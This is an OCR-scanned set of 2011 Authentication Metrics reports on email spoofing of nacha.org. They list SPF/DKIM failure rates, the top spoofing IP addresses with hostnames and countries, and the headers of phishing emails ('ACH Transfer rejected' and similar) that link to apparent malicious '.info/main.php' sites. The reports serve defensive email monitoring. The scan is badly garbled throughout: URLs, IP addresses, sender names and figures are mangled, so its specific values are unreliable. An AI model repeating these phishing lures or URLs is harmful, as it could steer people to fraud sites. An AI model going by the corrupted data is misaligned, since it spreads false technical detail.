TR BARSIERIN TN
Subject: ACH Payment 0128496 Cancoled
From: “sccount manager’ <account.manager@nacha. org>
Message [ <D00e01cc51b5$ch81Bc80$de30e553@nacha. org>
URLS! ppsfmkmusie.de/nguldito

abtpdd uive SR 100D dotall RERLEALIN]

Subject: ACH Payment 0105452 Canceled
From: "accourt managar’ <account.manager@nacha.org»
Message 1D: <0000 cch1ad$73268¢808de30eb83@nacha.ong>
URLs: r.iip./iw\.m,v.manoienggn:on'a;’scxénl'z(nﬂ

nltgy Hnacha.orgira

67.23.181.52 No message defails svaifable.
207.126.144,95 No message details available.
91.200.216.204 Subject: ACH Payment 0169058 Canceled

From: “account manager® <ascount.managar@nacha.org>
Message IO <009e01cc51b556ad241808ccd8eBEb@nacha.org>
URLS! jtip: /A giupoen s, a8/

SHOTHECHAL D b= 2167
o i

13

Subject: ACH Payment 181680 Canceled
From: “account manager® <accourt.manager@nacha,org>
Message 1D <0000t ce51d9546886a008cedBe8Sh@nacha.org>
URLS! Litte:Aowelygriotations comézot 1 huml

ntiprimacna argfreperi C09280027aetaiig phyPnedi49

Subject: ACH Payment 0148056 Carcelsd
Erom: “account manager” <account. manager@nacha.org>
Message 1D: <000e01cc51ed$ld7ec8805codBeabb@nacha.org»
URLS: ktp:finkmiusic. def/z3lGd. hml
v iinact (/64757

i

ERERIEEE e ailis php?as 8367

190,12.22.60 Subject: ACH Payment 0187850 Canceled
From: *account manager” <account.manager@nacha.org>
Message (D! <000e01cc5191$ 184 ecaBd33c160che@nacha. org>

Copyrigh! 2011, Authentication Metrics, tnc. All rights reserved.



URLs:

Subject
Froi:
Mossage
URLs:

Subjoct:
From:
Message 1D
URLs:

b 1D8aras. comi B
[t

oot 0 128850 detaills - 88405

ACH Payment 0183870 Canceled

tnoeount manager” <acsount.inamnager@oacha.orgs
«000edt cc519e$985/ceB053c160¢chenacha.oig>
‘mt;’):!fz‘:w:cmﬁa?wm:d.(;:)mmgprzzme‘m}l

Atped? sl ennn i UBERERE A el prhyr 872
ACH Paymant 0147290 Canceled

sacoount manager® <ascount.manager@nacha.org>
<Q00a0Tecs1a7841aac?8083c160che@nacha.org>
sl dhotelmringg eamadad baml

N Hrstanidetniis

[ T SR

203.144.13.166 No message detalls available.

Copyright 2011, Authantication Matdes, fne. All rights reserved.



Authentication Metrics, Inc.
vA\ Trusted Registry

NACHA — nacha.org Domain Summary Report for 2011-10-09 — 2011-10-15

This report ldentifies verification anomalies either due to spoofed messages or infrastructure-related issues such as servers missing from your SPF record,
{dentity mismatches, or servers not DKIM signing.

Scorecard

SPF. A
DKIM: No sighing

Verification Rates by Date
an ;

Yolume
r~
z

& &

5PF Fail, DKIM Pass
SPF Pass, DKIM Pass

B8 srr Fall, DKIM Fail
{1 $PF Pass, DKIM Fail

Top 20 IP Addresses by Double-Fail Rate

213.165.182.53
46.245.160.5
216.18,240,35 EekoRmaaREms
216.189.161.44 {
2073.246.56.130
216,177.14.108
175,176.163.26
B2,141,13.75
118,96.149.251
¥4.125.149.39
74.12%.148.40
74.325.245.57
118.96.250,213
208,68 3
§2.90.153,93
§L.160.74.2
64.32.167.,162
66,166.244,237
121.175.128.197
122.43.15.3%

i

:n-::|||F|‘E

; | : i |

i i : ‘ i ;
25k 50k 75k 100K 125k 150K 1758k 200k
Messaye Volume

“HERE

el

SPF Fail, DKIM Pass
SPF Pass, DKIM Pass

W SPF Fall, DKIM Fal
(T sPF Pass, DKIM Fall

Copyright 2011, Authentication Metrics, Inc. All rights reserved.



Top 20 IP Addresses by Double-Fail Rate

Host
213.165.182.53
46,245.160.5
216.18.240,35
216.189.161.44
203.246.56.130
216.177.14.108
176.176.163.26
B2,141.13.75
118.96.149.251
74,125.149.39
74.125.149.40
74.125.245.57
118.96.250.213
209.68.2.33
62.90,153.83
B1.180.74.2
64,32.167.162
66,166.244.237

121.175.128.187

122.43.15.35

DNS Name SBRS Country
mail.jvassallo.com ’ Malta (MT)
mail.netcen.nl : Turkey (TR}
webmail. microvsionsing.com © United States (US)
mail2. regattarealestate.com United States (US)
-10.0  South Kaorea (KR)
f1.exmx.net ¢ 83 - United States (US)
26-163.tca.net.ld © 40,0 Indonesia (D)
mail.iscgroup.eu ¢ Germvany (DE)
-10.0 . Indonesia (D)
nalsys008amao105,postini.com 2.3 United States (US)
na3sys009amo108.postini.com 2.9 Uniled States (US)
na3sys010amh101.postini.com 2.9 Unlted States (US)
213.static. 118-86-250, astinet telkom.net.id -10.0  Indonesia (ID)
fiann.pair.com -0.5 United States (US)
62-90-153-93.barak.nst.l 9.6  Israel (I}
ip-61.180.74.2.utm,renam.md -10.0 ¢ Romania (RO}
Ip-64-32-167-162.dsl.lax.megapath.net " United States (US) °
h-66-166-244-237 lsancab4.static.covad.net ' ! United States (US) -
-10.0 . South Korea (KR)
-10.0  South Korea (KR)

Subject Lines and Headers of Failing Messages

Host
213.165.182.53
© 46.245.160.5
216.18,240.35
216.188.161.44
203.246.56.130

216.177.14.108
175.176.163.26

82.141.13.75
118.96.149.251

Headers
No message details availabie.
No message details available.
No message details available.
No message details available.
Subjest: Your ACH Transfer N3940122434

Fram: "ACH Network" <ach-network@nacha.org>
Message 1D: <op.kbuzaZe0801mpc@SANS>

URLS: nipufthepaymentyourdatadnfo/main.php

Subject: Your ACH Transfer N506013508
From: "ACH Network" <ach@nacha.org>
Message i: <op.17yb§y51Soypy2@SheetsARLENEAtDGk>
URLS! [gtp:/iyoundataloss. infofmaliphp
Subject: ACH Transfer cancelied

From: "ACH Network" <ach-network@nacha.org>
Massage 1D: <dfad01cc87b4§6/01ba30$6238/6co@HODGEYW021nBz9>

URLS: nitp://connectisrealsite.info/maln.php
No message detafls available.

Subject: ACH Transfer rejected
From: "Elactronic Payments Associalion” <support@nacha.org»

. Message ID: <9868617973.20111015005701 @sanramongrace.org>

URLS: nitp:/idatazonewark. infoimain.php

Subject: ACH transaction cancelled
From: "Electronic Payments Association” <tech@nacha.org>
Message 1D: <f84c01ccBad5$6ac07050%51aa3b0af@Nbnature>

URLs: hltp;//bestdate’ispacepmtrmm.info/nmﬁn.php

Subject: ACH Transfer rejected
From: "ACH Network" <ach@nacha.org>
Message ID: «B67001ccBad5$4a60b310$12a3b0af@MCNEILLHANAWLZmr>

URLS: piip:/fioumaloibankings. infolmalr.php

No mossage detalls available.
Subject: ACH transaction rejected
From: "ACH Network" <ach-network@nacha.org>
Message 1D: «555d01cc8aet$i58301408Mba56076@56IS Cassidy>

Volume
168,334
64,189
38,697
25,584
20,329
18,806
13,075
12,569
11,868
10,432
8,645
1,741
7,651
6,688
6,683
6,613
6,550
6,466
6,268
6,267

Copyright 2011, Authentication Metrics, Inc. All rights reserved.



URLS: 1ttp/fdata-spaces-systems. info/main.phip

Subject: ACH Transfer cancelled
Erom: "ACH Network" <ach@nacha.org>
Message 1D: <op.kitym61fcbTix@WILMAConkiin>

URLs: htip://data-arsa-anatyserinfo/main. php
Subject: ACH Transfer rejected

From: "ACH Network" <ach-network@nacha.org>
Message 1D: <a40301ccBa6833c9177e03bISE076@B rasdonL T3Me5PPerelra>

URLS: pityy Hifreedataspacaindustries.infolmain.php

74.125.148.39 No message details available.
74.125.148.40 No message details available.

74.1256.245.57 No message dotails available.
118.96.250.213 No messags details available.
208.68.2,33 No message delalls avallahle.
62.90.153.93 Subject: ACH Transfer rejected

From: "ACH Network" <ach@nacha.org>
Message 1D: «974444BB29E FDAOCSSE FD3D3ET44B8O5@bte.bw>

URLS: htp://anelyzeyourdata.info/main. php

Subject: ACH transaction cancelled
From: "ACH Network® <ach@nacha.org>
Message {D: <c70601ccBaab34362287055d095a3e@AndradeDELISA>

URLS: nttp:/imydataspacessystems info/main.php

Subject: ACH transaction cancelied
From: "ACH Network" <ach-network@nacha.org>
Message 1D: <507346797.54843914704017@chisinsu-moldova.com>

URLS: hitp:/Aammus08de.info/main.php

81.180.74.2 Subject; ACH transaction rejected
From: "ACH Network" <ach-network@nacha.org>
Message 1D: <F2991C729999915384FOC721534FDCED@nettveﬁ<et.eu>

URLS! ptp:/idployingatasaces. fo/main.php

Subject: Your ACH Transfer NG64126174
Fram: "ACH Network" <ach@nacha,org>
Message {D: <539478381 8.20111014212052@bit-map.it>
URLS: hitp:/ffrecapplicationdataspace. infolmain php

Subject: ACH transaction rejected
From: “ACH Network” <ach-network@nacha.org>
Message 1D <297B8821A.3040806@VannDavewShdy>
URLS: htp://data-area-develops. info/main.php

64.32.167.162 No message delails available.
66.166.244.237 No message details available.
121,176.128.197 Subject: ACH transaction refected
From: "ACH Network® <ach-network@nacha.org>
Message 1D <2c4f01ccBal3$67991705c580a79@AddisyniMuthart>

URLs: 'nttp:Ildmaspac.esuppon‘,info}main.php

Subject: Your ACH Transfer N§025650841
Fromi: "ACH Network" <ach-network@nacha.org>
Message 1D: <op.ql3t58hdulneBg@etHWsiF>
URLS! http:/ianalyzeyourinfo.nfa/mainphp

Subject: ACH Transfer rejected
From: "ACH Network" <ach-network@nacha.org>
Message 1D: «1d7201cc87b9$dadact60$c580a79@2QrkBarry>
URLS: hitp://associate-armall.info/main.php
122.43.15.35 Subject: ACH transaction rejected

From: "ACH Network" <ach-network@nacha.org>
Message 1D: <735965627.20111015043332@prodigy.net>

URLs: ht\p:fltheda\aspa(;ac.»bject.infuinmm.php

Subject: Your ACH Transler N50498808
From: "ACH Network" <ach-network@nacha.org>
Message 1D: <«724d01cc8al8$adsfa310$230267a@Va>

Copyright 2011, Authentication Metrics, Inc, Al rights reserved.



URLS! hitp://data-zone-provides. info/mait.php

Subject: ACH Transfer cancelled
From; "ACH Netwark® <ach-netwerk@nacha.arg>
Message IDn <0616994673.20111015042000@realsoda,com>

URLS! nitp//outcomedataspace.info/main, php

Copyright 2011, Authentication Metrics, Inc. All rights reserved,
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Authentication Melrics, inc.

Trusted Registry

DEPLOYMENT/SEARCH

RESEARCH

DOMAIN
SUMMARY

NEXT STEPS

QUTBOUND
VOLUME

EFFECT OF
POLICY

REPORTS

FAILURE
INSPECTOR

MONITORING

ORGANIZATION

Select domain: [nacha.org

=] Display top |20

IP addresses.

Page 1 of 4

nacha

Pameia Moore | Preferences | Logout | Help

Run

ENFORCEMENT

nacha.org Domain Summary Report for 2011-10-05 ~ 2011-10-11

This report identifies verification anomalies either due to gpoofed messages or infrastructure-related Issues such as servers

Scorecard

SPF: A
DKIM: No slgning

missing from your SPF record, jdentity mismatches, or servers not DKIM signing.

AM

Volume
n
=

oM l . l
& o
) &

o ol

Verification Rates by Date

W SPF Fail, DKM Fail
. 1% SPF Pass, DKIM Fail

U288 SPF Fail, DKIM Pass

B SPF Pass, DKIM Pass

216.189.161.49  semeneng
216.18.240.35 wm—n
74.125.245.57
203.246.56.130
216.177.14.108
74.125.149.39
74.125.149.40
82.141.13,7%
74.125.245.58
182.72.142.2
175.176.163.26
119.226.131.82
118.96.149.281
41.206.13.3
220.225.22.12
222.124.198.178
66.132.248.117
62.90.153,93

”lllllllll""“l

<

+

é

§0k

5
+

i

1

100K

" B SPF Fail, DKIM Fail
6 SPF Pass, DKIM Faill

i
¥

150k

|

;
i
i
i

i
i

200Kk

Message Volume

&R SPF Fail, DKIM Pass

#H SPF Pass, DKIM Pass

Top 20 IP Addresses by Double-Fail Rate

21316518253 e
A46.245.160.5 seeenanney

250k

300k

/

350k

https://who.isspoofing.us/reports/domain_summary_report
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Authentication Metrics Page 2 of 4

Top 20 [P Addresses by Double-Fail Rate

Host DNS Name SBRS  Country Volume
213.165.182.53 mail.fijvassallo.com Malta (MT) 306,872
46.245.180.5 mait.netcen.nl Turkey (TR} 65,011
216.189.161.44 mail2.regattarealestate.com 4.0 United States (US) 35,562
218.18.240.35 webmail. microvisionsine.com 8.1 Unitad States (US) 25673
74,125.245.57 nadsys010amn101,. postini.com 28 United States (US) 21224
203.246.56.130 -10.0 South Korea (KR} 19,185
216,177.14.108 f{.exmx.net 53 . United States (US) 18,982
74.125.149.39 na3sys008amo105. postini.com 3.5 United States (US) 18,929
74.126.149.40 na3sys008amo106.postini.com 3.9 ' United States (US) 18,884
82,141.13,75 mail.iscgroup.eu _ Germany (DEY 18,422
) 74.125.245,58 na3sys010amh102.postini.com ) 29 United States (US) 15,541
182.72,142.2 . NSG~S!atlc-002.142.72.182‘airtel1,|'n -10.0 India (IN} 14,263
175.176.163.28 26-163.tea.netid -10.0 Indonasia {1D) 11,117
119,226.131.82 segment-113-226.sify.net -10.0 India (IN} 10,804
118.96.149.251 -10.0 ) Indonesia (1D) 10,8601
41,206.13.3 44.206,13.3.vgechnet -10.0 Nigeria (NG} 10.181
220.2256,22.12 ~10.0 Indla {IN} 9,987
922.124,188.178 -10.0  Indonesia (1) 9,885
66.132.248.117 eagieoneproductions.com -1.1 United States (U8) 0,282
62.80.153.83 ) 62-90-153-83.barak.net.il -10.0 lsrael (IL) 8,208

Subject Lines and Headers of Failing Messages

Host Headers
243.165.182.53 No message details available.
46.245,160.5 No message details available,

216.189.181.44 No message details avallable.
216.18.240.35 No message detalls available.
74.125.245.57 No message detalls available.

203.246.58.430 Subject: Your ACH Transfer N3940122434
From: "ACH Network” <ach-network@nacha.org>
Message 1D <op.kbuza2e0901mpc@8ANS>
URLS: hiip:/fthepaymentyourdata.info/main.php
Subject: Your ACH Transfer N506013508
From; "ACH Nelwork" <ach@nacha.org>
Message (D: <op.l7ybjys1Soypyiz@shee!sARLENENDBk:»
URLS: hitp:/fyourdataloss.info/main.php
Sublect; ACH Transfer cancelled
From:*ACGH Network! <ach-nietwork@nacha.org>
Message 1D <tiad01col7b4$6101b030$82386ch@HODGEYW021nBz8>
URLs: hitp:/conneciisrealsitenfo/main.php

216.177.14.108 No message detalls available.
74.125.148.39 No message delails available,
74.125,148.40 No message delails avallable.

82.141.13.78 No message defails avallable.
74.425.245.58 ) No message details available.
182.72.142.2 Subject: ACH Tranafer c¢jected

From: "ACH Network" <suppont@nacha.org>
Message 1D; <0caS014c845/500aabbels028e48bB@ Customer>
URLS: hitp:/ivalispaymentemy-transfer.info/main.php
Subject: ACH Transfer rejected
From: "ACH Network" <suppori@nacha.org>
Message 10: <533012672.201 11006181048@shepherd.net.au>
URLS: htipi/fpaymentincome-transfer.info/main.php
Subject: ACH transaction rejected
From: "ACH Netwark" <rigk-management@nacha.org>
Message 1D: <6982625014.201 11006183754@dennisdelols.com>
URLs: hﬂp:/iincomemyselftransferyoﬁ(marketwizard-transfer,mfo/main,php

175.176.463.26 Subject: ACH transaction cancelled
From: "ACH Network" <payments@nacha.org>
Message ID: <f43801ccad65$eesfcf1031aaSbOaf@FOWLERDEBROAHQulebZar6>
URLs: hﬁp:l/payment-movemant~transfer,infoimaln(php

hitps://who.isspoofing.us/reports/domain_summary_report 10/12/2011



Authentication Metrics

119.226,131.82

118.06.149.251

41.206.13.3
220.226.22.12

222,124.498.178
66.132.249.117

62.90.163.93

Subject:
From:
Message (D:
URLs:

Subject:
From:
Message ID;
URLs:

Subject:
From:
Message 1D
URLs:

Subject:
From:
Message ID:
URLs:

Subject;
From:
Message 1D:
URLs:

Subject:
From:
Message 1D
URLs:

Subject:
From:
Message 1D;
URLs:

Subject:
From:
Message 10:
URLs:

Subject:
From:
Message ID:
URLs:

Subject:
From:"

Message iD:
URLs:

Subjeat:
From:
Message 10:
URLs:

Page 3 of 4

ACH transaction rejected

“ACH Network" <payments@nacha.org>
<eh6a01cc84723bic3as30%1aalb0af@3KOQDUkes>
http://paymentlongonline-transfer.info/main.php

ACH Trangfer rejected

"ACH Network® <ach@nacha org>
<3B48BEDAFO53IBBB4F21C72599981C721@Montgomery$fahag>
http://transferpaymenteredit-transfer.info/main.php
ACH Transfer rejected

“ACH Network” <ach@nacha.org>
<QR2CEETACD31FB2CB731F46E7ACDAS2E@H 33>
hitp://reeger85d3. infofmain.php

ACH transaction cancelled

“ACH Network” <payments@nacha.org>
<op.52e0to5hg4sTHBVERAIHShs DXPwGenaro>
hitp://nestel0321.info/main.php

Your ACH Transfer N695887512

*ACH Nelwork" <ach-network@nacha.org>
<0597B821,0080407@schmitt-title.com>
http:/imarquat39d86 info/main.php

ACH Transfer cancelled

"AGH Nelwork” <risk-management@nacha.org>
<041BOOFB28D3I5DAIFBO1467EA146EA1BO@Aaront>
hittp:/foolivarb73d.info/main.php

ACH Transfer cancelled

“NACHA" <risk-management@nacha.org>
<op.cpprauchawy8zo@NathanielcOREYES>
htip:/imaintainyourdata.info/main.php

Your ACH Transfer N18503176

“ACH Network" <ach@nacha.org>
<op.msjxe2jusIpcke@0S110le>
hitp:/iyourinfodata.info/main.php

’ No message details available.

Your ACH transaction N465237735

“Automated Clearing House" <ach@nacha,org>
<624504658.85987 127553717 @innovativemgrnt.net>
htip:/imyyourdatasize.Info/main.php

ACH Transfer rejecied

Automated Clearing House" <payments@nacha.org>
<2691538B4F0CEGEBES72153B4F2991C7@52nd0>
http:/inewconnectemail.info/main.php

ACH Transfer rejected

"Automated Clearing House" <ach-network@nacha.org>
<op.5padwlvzipboxe@QZS0jzn8U0>
http:/iwhereisyourdatablog.info/main.php

No message details available.

Subject:
From:
Massage 1D:
URLS!

Subject:
From:
Massage 1D;
URLs!

Subjest:
From:
Message ID:
URLs:

Subject:
From;
Message (D!
URLs!

Subject:
From:
Message (D:
URLs:

Subject:
From:
Message 1D:
URLs:

ACH Transfer rejected

“National Automated Clearing House Association” <risk-muanagement@nacha,.org>
<bc1901ccB46087620a7008aa9a7 cde@Ejwik>
hitp://paymentinterestnow-transter.info/maln.php

ACH Payment Canceled

donotreply@nacha.org

<7721581413.8QLSILLX21376 1@mkomdyxg.gzevu.com>

hitp:/fbesrbastie.com

Your ACH Transfer NO105618312

*NACHA" <support@nacha.org>

<op. 2565184 phawf0o@IrUDj>

http:/icrate436 t.info/main.php

ACH Transfer rejected

“ACH Network” cach@nacha.org>
<9744448829EFDAOCSQEFDsDaB?MBEOS@btc bw>
hitp:/flanalyzeyourdata.info/main.php

ACH transaction rejected

“ACH Network" <donotreply@nacha.org>
<B203055C17F6EBBOSC17FDAB780CH30C@NA>
http:/lconslderyourinformation.info/main.php

ACH transaction cancelled

"ACH Network" <ach-network@nacha.org>
<B7348797.54043914704017 @chisinau-moldova.com>
http:/lammus06de.Info/main.php

https://who.isspoofing.us/reports/domain_summary_report 10/12/2011
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' Authentication Metrics, Inc.
)?A Trusted Registry

nacha — nacha.org Domain Summary Report for 2011-09-25 - 2011-10-01

This report identifies verification anomalies either due to spoofed messages or Infrastructure-related Issues such as servers missing from your $PF record,
identity mismatches, or servers not DKIM signing.

Scorecard

SPF. A
DKIM: No signing

Verification Rates by Date

50M
A5M
o 3 ) S
4 e W P » » &
o & 2 o o o o

B spr Fail, DKM Fall
Y SPF Pass, DKIM Fail

74.125.2
62.193.228.100
74,125.245.58
§0.244.168,1%
174,136,070
198,104.137.210 8
82,165,145.23
50.22,115.76
206.217,196.47 : : ;
£7.228.64,58 : i
188.40.83.145 : !
69,43.195.92
74,86.52,5 : :
{84.170.147.11 : :
207.125.33.114 : :

Ok 50k 100k 150K 200k A50k 300k
Mussnigy Vol

SPF Fail, DKIM Fall
PF Puss, OKIM Fail

SPF Fail, DKIM Pass
SPF Pass, DKIM Pass

Copyright 2011, Authentication Metrics, Ing, All rights reserved.



Top 20 1P Addresses by Double-Fail Rate

Host
213.165.182.63
74,125,149.38
74.125.149.40
208.86.249.35
72.44.70.162
74,125.245,87
62.183.228.100
T4.125.245,58
80.244.168.15
174,136.0.70
198.104.137.210
82.165.145.23
50,22.115.76
206.217.106.47
£67.228.64.58
188.40.83.145
69.43.195.82
74.86.52.5
184.170.147.11
202.125.33.114

DNS Name

mail.fvassallo.com
nadsys009%amo105.postini.com
nadsys008amo106.postini.com
server! 2.dns-grupohiosf.com
162-70-44-72-dedicated.multacom.com
na3sys010amh101,postini.cor
wpe i 264 .host7x24.com
nadsys010armhi02.postini.com
cpanel2.interdsion. co.dl
aweter.com

mail.indianpetro.com

515420057, onlinehome-server.info
tht.thitile.com

ws. masswebsitemaker.com
67.228,64.58-static. reversa. soflayer.com
s01.dmhost.de

meyney 3. markethardware, com
bee.anixe.com

web063.lax 1.coothandle.com
webfarm2, sslaccess,.com

Subject Lines and Headers of Failing Messages

Host
213.165.182.53
74.125.149.39
74.125.149.40
208.86.245.35

72.44.70.162

74.125.245.57
62.193.228.100

Headers

Mo message details availabloe,
No message detalls available.
No message dotails available.

Subject: =2i50-8859-52B82QUNIFRyYW5Sz2mVyIF Jdmil?=

From: <ach@nacha.org>

S$BRS

2.3
2.9
-4.9
4.0
2.9
+5.8
2.8
-8.3
-3.9
4.1
-1.5
-5.3
«10.0
-8.2
-2.5
-4.4
2.5
-1.9
«10.0

Country

Malta (MT)

United States (US)
United States [US)
United States (US)
Unlted States (US)
United States (US)
France {FR}
United Statas (US)
israel (IL)

United States (US)
United States {US)
Germany (DE)
United States (US)
United States (US)
United States (US)
Gemmany (DE)
United States (US)
Unifed States (US)
United States (US)
Australia (AU)

Message 1D: <009b01c40ab6i$6d228828263654M4 @xutytf>

URLS: nrp:fjwswin nachia ong

Subject: =?is0-8858-5?B7QUNIFRyYWS2ZmVyIF didmil?=

From: <ach@nacha,org>

Message 11 <000401¢c4bad5517e0b288$0fd3806@acwIpx>

URLs:

i fwear nacha,ong

Subject: =7iso-8859-57B7QUNIFRyYWSzZmVyIFJldmii?= =2is0-8859-578 ?dw==7=

From: <ach@nacha.org>

Message ID: <000601c41c18$1hBad033E8hh47397@bbpolg>

URLS: nitp-fivewsn nacha. org

Subject: =?iso-8858-57B?QUNIFRyYW §zZmVyIF Jidmil?=

From: <ach@nacha.org>

Message 1D <003c01646812$2812a76981614e657@alijy>

URLs:

A Paa, B C e O

Subject: =?150-8853-5?B7QUNIFRyYWSzZmVyIFJidmii?=

From: <ach@nacha.org>

Message 1D: <006401¢434d7540¢43082526L1385@note>

URLS! nttg ipmavaiacha, org

Subject: =7i50-8858-87B7QUNIFRyYW5SzZmVyIF dldmll 7= =7is0-8850-57B 2dw==7=

From: <ach@nacha.org>

Message 1D: <003b01c47665161bi00$980422(7 @pyz>

URLs:

el nacha org

No message details available.

Subject: =7i50-8858-57B?2QUNIFRyYWS52ZmVyIF ldmlI?= =7iso-8859-87B 7dw==7=

From: <ach@nacha.org>

Message 1D: <001401c40c125dbf5h18%1aa8le@yap>

URLS! ity sy, naeha, o

Subject: =71sc-8850-G7B2QUNIFRY YW 5zZmVyIF didmll7= =7is0-8859-878 7dw=="=

Velume
252,979
248,490
234,805
225,946
212,543
205,827
194,755
184,519
160,817
163,627
162,270
150,608
122,229
118,405
118,312
117,246
113,381

80,989

80,780

73,317

=750-8859-578 2dw==7=

=7150-8858-578 Pdw==7=

=?150-8858-570 Pdw== 7=

=?i50-88568-57B Pdw==7=

Copyright 2011, Authentication Metrics, Inc. All rights reservad.



From: <ach@nacha.org>
Message 1D <002b01c4afd4Seh8e7d913c205nbb6@rmi>

URLS: attp fivwwe. nacha, org
Subject: =?is0-B858-57B2QUNIIFRyYW bz ZmVy IF Jldmii?= =7i50-8859-5787dw=="=
From: <ach@@nacha.org>
Message 10 <000501c42¢56$2bc5622852a3(7802@ pans
URLS: nitp. frew

nocha o

74,125.245.58 No message detalls available.
80.244.168.15 Subject; =7i80-8853-57B7QUNIFRy YW 52ZmVyIF didmi?= =2i50-8858-67B7dw=="7=
From: <ach@nacha.org>
Message 1D: <002701c4c04d$74b5ef0bd454b0aB@xpimyfz>

URLS! ity /iy, e, o

Subject: =?is0-8850-6?B7QUNIFRyYWSzZmVy I idmii 7= =?is0-8858-678 7dw==7=
From: <ach@nacha.org>
Message 1D: <003f01c4defdSeeh0a22ad4esbet@vnob>

URLS! nitp e, nacha,nrg

Subject: =7i50-8859-5?BTQUNIFRyYWE2ZmVyIFdldmi?7= =?is0-8858-57B2dw==7=
From: <ach@@nacha.org>
Message 1D: <001701c488e6$d81c9302819114290@dby stjv>
URLS! ntp/faanan, nacho.omg
174.136.0.70 Subject: =7i50-8859-57B7QUNIFRy YWSZZmVyIF Jidmil 7= =72is0-4850-578 Pdw==7=
From: <ach@nacha.org>
Message 1D <001401c47e69885f821748a68b55@uxwren>
URLS: ppen vy, 1

haLorg

Subject: =?isc-8850-578 2QUNIFRyYWS2ZmVyIF Jidmil?= =7is50-8858-57B%dw==7=
From: <ach@nacha.org>
Message {0 <001001c46di0$d183236d86445005c@kxfis>
URLSD nitp, froaww, nashia.ong

: =7i50-88590-5?BTQUNIFRYYWS2ZmVyIFJidmil 7= =?%i50-8858-57R2dw==7=
Fram: <ach@nacha,org>
Message Dt <D00701c4b420577e61de2$8902484d@yposhiy>

URLS: hitp:/hwie. aeha.org

188.104.137.210 Subject: =7is0-8858-57B2QUNIFRyYWSzZmVyIFJdmil?s =%is0-8859-578 Tdw==7w
Frony: <ach@nacha.org>
Message 1D: <000c01c454ci4bobeibabBalbecdi@jexhbe>
URLS! nitpfravew. nacha. o

Subjact =250-8859-57B2QUNIFRyYW 52ZmVyIF Jidmil?7= =7i50-8859-5787dw==7=
From: <ach@nacha,org>
Message ID: <001001c4eb7b$18dic5cd$aT 167d57 @xwihk>

URLS: httpi/faww, nacha.ong

Subject; =2is0-8855-57B2QUNIFRYYWS2ZmVyIFJidmii 7= =?150-6859-578 7dw==7=
From: <ach@nacha, org>
Message 1D: <000301c4afe0$ce52af33$6b508218@hxaor>

URLS: iyt /oy, nacha.org

82.165.145.23 Subject: =?ls0-8858-5782QUNIFRy YW Sz2ZraVyiF Jidmli?= =7i50-8859-578 Pdw==7=
From; <ach@nacha.org>
Message 1D: <001a01c4578d$60bec3c2b2feec2e@@rmpw>

URLS! nip: fvasw. nacha.org
Subject: =7i50-8852-5?B7QUNIFRyYWS52ZmVylFddmil?= =?is0-8859-578 2dw=="7=
From: <ach@@nacha org>
Message ID: <003001¢442025add7e4 11$16348:82@ceqbjzee>

URLS! it /iwwawnacha,org
Subject; =?isc-8858-5782QUNIFRYYWSzZmVyIF Sidmil?= =7is50-8858-57B 7dw= = 7=

From: <ach@nacha,org>
Message 1D; <001901c4724a$5/c78414885280dcb@nsnymxie

URLS! htpriswwa.nacha.ong

50.22.115.76 Subject: =7is0-8859-57B 7QUNIIFRyYWS5zZmVyIF idmli?= =7180-8859-57B 2dw==7=
From! <ach@nacha.org>
Message 1D: <0036801c426058¢37d1e63%a6c8bal? @ercijp>

Copyright 2011, Authantication Metrics, Inc. Alf rights reserved.



206.217.196.47

67,228.64.58

188.40.83.145

68.43.195.92

74.86.52.5

URLs:

Subject:
From:
Message 1Dt
URLs:

Subject:
From:
Message ID:
URLs:

Subject:
From:
Message 1D
URLs!

Subject:
From:
Message ID:
URLs:

Subject:
From:
Message ID:
URLs:!

Subject:
From:
Message 1D:
URLs:

Subject:
From;
Message 1D
URLs:

Subject:
From:
Message 10:
URLs:

Subject:
From:
Message ID;
URLS:

Subject:
From:
Message ([
URLs!

Subject:
From:
Message 1D:
Subject:
From:
Message 1D

Subject:
From:
Message 1D;
URLs:

Subject:
From:
Message 1D
URLs:

Subject:
From:
Message 1D:

Subject:
From:

Ay

cha oy

=?i56-BBSS-578 PQUNIF Ry YW 52 ZmVylF Jidmil 7= =?i50-8850-57B Pdws="7=
<ach@nacha.org>

«<005101c49d50$2aa8a251$3163360e@jwkzgis>

Pt/ fsne nacha. org

=?i50-8859-5782QUNIFRy YW52ZmVyIF Jdmil?= =7i50-8859-6787dw==7=
<ach@nacha.org>

<(0201235.20110426070033@nacha. org>

U Awa et e oy
=%i50-8853-57B ?QUNIFRY YW 52ZmVylFldmil?= =?i50-8858-5787dw=="7=

<ach@nacha.org>
<Q00101c40ca73ec7cB8088dd26/1 08@0ar

B fiveay, nacha, arg
=7i30-8859-578 PQUNIFRY YW 52ZmVyIF Jidmil 7= =7is0-8859-57B7dw=="7=

<gch@nacha.org>
<(00901c48432$4434508682602817 @gge>

Ry flansnngehe.erg
=?is0-8859-57B7QUNIF Ry YW 52 ZmVyIF Jidmli?= =7i50-8858-57B2dw==7=

<ach@nacha.org>

<000101c401ad$576948u530d8121Sa@yltmx>

il v achaong

=7150-8850-57B2QUNIFRyYWEzZmVy FJldmill?= =75 0-8858-67B 2dw==7=
<achinacha.org>

<000e01cddeB§519c93b1$2e75cc 7a@ekuj>

Sio My nachauory

<ach@nacha org>
<Q08c01c4253057e88730$44944030@ayfihul>

np v

GACTIE.O

=50-8853-57B 2QUNIIFRyY W 52ZmVyIF idmil 7= =9i50-8858-57B 7dws= 7=
<ach@nacha.org>

<000401c451c7$274c16857$6c157ae@lin>

hitbp: e, nacha. ong

=7150-8859-57R YQUNIFRy YW 5z ZmVyIF Jidmil 7= =?i50-8858-57B8 Tdws==7=
<ach@nacha.org>

<000601c4343155ea57624592/45dd3@s eth>

NP Fansne HachB.org

=50-3859-52B2QUNIFRy YW 52ZmVyIF Jidmii 7= =?i50-B853-57B2dw=="7=

<ach@nacha.org>
<002e01c4b2d4$d710788c$434Beb0@oclc>

nitpudfevno nachia.org

<ach@nacha.org>

<51813602,20101215035736@nacha.org>

=7i50-8859-57B 7QUNIF Ry YW 52 ZmVyIF Jidml?= =?ig0-8868-57R 2dw=="7=
<ach@nacha.org>

<QU0301c4bihb§eal279453 1004{ca6@ilr>

=7i50-8868-57B 7QUNIFRyYWSzZmVyIF Jidmil 7= =?i50-B888-57B7dw==7=
<ach@rache.org>

<000601¢40ed6$913d0201$25535758@yvbegzwd>

nfipiieww, nacha.ong

=7180-8858-57B?QUNIFRYYW52ZmVyiF Jidmi?= =?so-8858-57B2dw=="7=
<ach@nacha.org>

<QO0001c43a4f$eoB8621458atebbd 1i@hpk>

hitplvww, nacha,og

